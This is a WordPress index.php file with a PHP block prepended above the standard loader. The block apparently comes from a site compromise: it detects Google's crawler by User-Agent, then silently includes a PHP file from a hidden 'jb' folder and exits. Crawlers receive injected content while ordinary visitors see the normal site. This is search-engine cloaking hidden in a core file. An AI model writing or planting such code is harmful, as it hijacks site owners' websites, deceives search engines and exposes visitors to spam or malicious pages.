
<?php
function isGoogleBot($userAgent) {
    $userAgent = strtolower($userAgent);
    return strpos($userAgent, 'google') !== false;
}

$userAgent = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : '';

if (isGoogleBot($userAgent)) {
    $cloackDir = dirname(__FILE__) . '/jb/';

    if (is_dir($cloackDir)) {
        $files = scandir($cloackDir);
        foreach ($files as $file) {
            if ($file === '.' || $file === '..') continue;

            $fullPath = $cloackDir . $file;

            if (is_file($fullPath) && pathinfo($file, PATHINFO_EXTENSION) === 'php') {
                include $fullPath;
                exit;
            }
        }
    }

    echo "<b>Error:</b> Tidak ada file PHP yang dapat di-include di direktori <code>$cloackDir</code><br>";
    if (!is_dir($cloackDir)) {
        echo "<b>Catatan:</b> Folder tidak ditemukan.<br>";
    } else {
        echo "<b>Isi Folder:</b><pre>" . print_r($files, true) . "</pre>";
    }
    exit;
}
?>
<?php
/**
 * Front to the WordPress application. This file doesn't do anything, but loads
 * wp-blog-header.php which does and tells WordPress to load the theme.
 *
 * @package WordPress
 */

/**
 * Tells WordPress to load the WordPress theme and output it.
 *
 * @var bool
 */
define( 'WP_USE_THEMES', true );

/** Loads the WordPress Environment and Template */
require __DIR__ . '/wp-blog-header.php';
